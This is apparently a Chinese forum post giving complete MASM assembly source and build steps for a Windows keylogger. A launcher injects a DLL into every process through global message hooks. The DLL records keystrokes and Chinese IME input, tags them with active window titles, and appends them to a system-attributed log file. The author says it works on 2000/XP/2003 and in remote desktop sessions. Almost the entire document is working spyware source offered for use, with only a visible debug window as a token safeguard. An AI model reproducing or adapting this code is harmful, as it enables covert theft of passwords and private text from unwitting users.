挂接WH_CALLWNDPROC(WM_IME_COMPOSITION),WH_GETMESSAGE(WM_CHAR和WM_KEYUP),前者记录中文,后者记特殊按键和字母符号.
中文在极品五笔和智能ABC中测试通过,另系统测试在2k,xp,2003下测试通过,同时包括
2kserver的3389中.(CMD中不能成功记录)
记录文件在c:\keylog2.txt中.防止有些人那去害人.调试窗口没有去掉嘿嘿.
用法:运行a.exe后key.dll就会进入每一个进程并进行记录.

编绎参数:
ml /c /coff a.asm
rc hook.rc
link /subsystem:windows a.obj hook.res
ml /c /coff key.asm
link /SECTION:.bss,S /DLL /DEF:key.def /SUBSYSTEM:windows /LIBPATH:C:\MASM32\BIN key.obj

rc文件
-------------------hook.rc-----------------
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#include <resource.h>
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
#define ICO_MAIN 1000
#define DLG_MAIN 1000
#define IDC_TEXT 1001
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN ICON "Main.ico"
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DLG_MAIN DIALOG 208, 130, 234, 167
STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "键盘钩子"
FONT 9, "宋体"
{
EDITTEXT IDC_TEXT, 5, 5, 224, 158, ES_MULTILINE | ES_AUTOVSCROLL
| WS_BORDER | WS_VSCROLL | WS_TABSTOP | ES_READONLY
}
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
-------------------end---------------------

包含文件key.inc
------------key.inc-------------
UninstallHook PROTO
InstallHook PROTO
------------end-----------------
def文件key.def
------------key.def--------------
LIBRARY key.dll

EXPORTS InstallHook
UninstallHook
---------------end----------------

---------------------a.exe---------------------------
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/windows.inc
include key.inc
includelib key.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN equ 1000
DLG_MAIN equ 1000
IDC_TEXT equ 1001
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

.code

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam

mov eax,wMsg
;********************************************************************
.if eax == WM_CLOSE
invoke UninstallHook
invoke EndDialog,hWnd,NULL
;********************************************************************
.elseif eax == WM_INITDIALOG
invoke InstallHook


;********************************************************************
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret

_ProcDlgMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,NULL
invoke DialogBoxParam,eax,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start

---------------------end-----------------------------

---------------------key.dll--------------------------
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib ../lib/imm32.lib
include ../include/imm32.inc

IDC_TEXT equ 1001
.data
hInstance dd 0
maintitle db '键盘钩子',0

LogKeyFile2 db 'c:\keylog2.txt',0
keylogformat db 0dh,0ah,'--==%s==--',0dh,0ah,0
;------vk-------------
insert db '[Insert]',0
delete db '[Del]',0
home db '[Home]',0
kend db '[End]',0
pgdown db '[PgDn]',0
pgup db '[PgUp]',0

down db '[↓]',0
up db '[↑]',0
left db '[←]',0
right db '[→]',0

back db '[<=]',0
ctrl db '[ctrl]',0
tab db '[Tab]',0
alt db '[Alt]',0 ;键盘码是VK_MENU
shift db '[Shift]',0
kesc db '[Esc]',0
space db ' ',0
printscreen db '[PrtSc]',0
capslock db '[Caps Lock]',0
kreturn db 0dh,0ah,0

.data?
forcushwnd DD ?
fhwnd dd ?

hHook dd ?
hHook2 dd ?
cchar db 20 dup(?)
cchar2 db 20 dup(?)

keylogbuffer db 1024 dup(?) ;定义1kb的键盘记录缓冲

hlogKeyFile dd ?

hactivewindow dd ?
svTitle db 256 dup(?) ;当前窗口标题
szkeylogtitlebuffer db 270 dup (?)

.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD

.if reason==DLL_PROCESS_ATTACH ;dll加载时
push hInstDLL
pop hInstance

.endif
mov eax,TRUE
ret
DllEntry Endp

_KeyLog proc keyaddr:dword
invoke FindWindow,NULL,offset maintitle
invoke SendDlgItemMessage,eax,IDC_TEXT,EM_REPLACESEL,0,keyaddr

invoke GetActiveWindow
.if eax!=hactivewindow
mov hactivewindow,eax
invoke GetWindowText,hactivewindow,offset svTitle,256

invoke wsprintf,offset szkeylogtitlebuffer,offset keylogformat,offset svTitle
invoke lstrcat,offset keylogbuffer,offset szkeylogtitlebuffer

.endif

invoke lstrlen,offset keylogbuffer
.if eax<10
invoke lstrcat,offset keylogbuffer,keyaddr
.else
invoke CreateFile,offset LogKeyFile2,GENERIC_WRITE,FILE_SHARE_READ,\
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
mov hlogKeyFile,eax
invoke SetFilePointer,hlogKeyFile,0,NULL,FILE_END
invoke SetEndOfFile,hlogKeyFile ;文件指针放到文件尾
invoke lstrlen,offset keylogbuffer
invoke _lwrite,hlogKeyFile,offset keylogbuffer,eax
invoke CloseHandle,hlogKeyFile

invoke RtlZeroMemory,offset keylogbuffer,1024
invoke lstrcat,offset keylogbuffer,keyaddr
.endif

ret
_KeyLog endp

HookProc proc _dwCode,_wParam,_lParam

invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam
pushad
.if _dwCode == HC_ACTION
mov ebx,_lParam
assume ebx:ptr CWPSTRUCT
;.if [ebx].message == WM_IME_CHAR
;mov dx,word ptr [ebx].wParam
;xchg dl,dh
;mov ebx,offset cchar
;mov word ptr [ebx],dx

;invoke MessageBoxA,0,addr cchar,addr cchar,1
;invoke _KeyLog,addr cchar
.if [ebx].message == WM_IME_COMPOSITION
invoke GetFocus
mov forcushwnd,eax
invoke ImmGetContext,forcushwnd
mov fhwnd,eax

invoke ImmGetCompositionString,fhwnd,GCS_RESULTSTR,NULL,0
add eax,sizeof WCHAR
invoke ImmGetCompositionString,fhwnd,GCS_RESULTSTR,offset cchar,eax
;invoke MessageBoxA,0,offset cchar,offset cchar,1

invoke lstrcmp,addr cchar,addr cchar2

.if eax
invoke _KeyLog,addr cchar

.endif
invoke lstrcpy,addr cchar2,addr cchar
invoke RtlZeroMemory,offset cchar,20
invoke ImmReleaseContext,forcushwnd,fhwnd
.endif
assume ebx:nothing
.endif
popad
xor eax,eax
ret

HookProc endp

HookProc2 proc _dwCode,_wParam,_lParam

invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam
pushad
.if _dwCode == HC_ACTION
mov ebx,_lParam
assume ebx:ptr MSG
.if [ebx].message == WM_KEYUP
mov edx,[ebx].wParam
.if dl<30h
.if dl==VK_SPACE
; invoke _KeyLog,addr space
jmp @@ex

.elseif dl==VK_RETURN
; invoke _KeyLog,addr kreturn
jmp @@ex
.elseif dl==VK_PGDN ;down
invoke _KeyLog,addr pgdown
jmp @@ex
.elseif dl==VK_PGUP ;UP
invoke _KeyLog,addr pgup
jmp @@ex
.elseif dl==VK_CAPITAL
invoke _KeyLog,addr capslock
jmp @@ex
.elseif dl==VK_HOME
invoke _KeyLog,addr home
jmp @@ex
.elseif dl==VK_END
invoke _KeyLog,addr kend
jmp @@ex
.elseif dl==VK_DELETE
invoke _KeyLog,addr delete
jmp @@ex
.elseif dl==VK_INSERT
invoke _KeyLog,addr insert
jmp @@ex
.elseif dl==VK_DOWN
invoke _KeyLog,addr down
jmp @@ex
.elseif dl==VK_UP
invoke _KeyLog,addr up
jmp @@ex
.elseif dl==VK_LEFT
invoke _KeyLog,addr left
jmp @@ex
.elseif dl==VK_RIGHT
invoke _KeyLog,addr right
jmp @@ex
.elseif dl==VK_CONTROL
; invoke _KeyLog,addr ctrl
jmp @@ex
.elseif dl==VK_TAB
invoke _KeyLog,addr tab
jmp @@ex
.elseif dl==VK_ESCAPE
invoke _KeyLog,addr kesc
jmp @@ex
.elseif dl==VK_SNAPSHOT
invoke _KeyLog,addr printscreen
jmp @@ex
.elseif dl==VK_MENU
invoke _KeyLog,addr alt
jmp @@ex

.endif
.endif
.elseif [ebx].message == WM_CHAR
invoke IsDBCSLeadByte,[ebx].wParam
.if !eax
.if _wParam & PM_REMOVE
mov dx,word ptr [ebx].wParam
.if dl==VK_BACK
invoke _KeyLog,addr back

.elseif dl==VK_RETURN
invoke _KeyLog,addr kreturn
.elseif dl==VK_SPACE
invoke _KeyLog,addr space
.else
mov ebx,offset cchar
mov word ptr [ebx],dx

;invoke MessageBoxA,0,addr cchar,addr cchar,1

invoke _KeyLog,addr cchar

.endif
.endif
.endif
.endif
@@ex:
assume ebx:nothing
.endif
popad
xor eax,eax
ret

HookProc2 endp

InstallHook proc

invoke SetWindowsHookEx,WH_CALLWNDPROC,addr HookProc,hInstance,NULL
mov hHook2,eax
invoke SetWindowsHookEx,WH_GETMESSAGE,addr HookProc2,hInstance,NULL
mov hHook,eax
ret
InstallHook endp

UninstallHook proc
invoke UnhookWindowsHookEx,hHook
invoke UnhookWindowsHookEx,hHook2
ret
UninstallHook endp

End DllEntry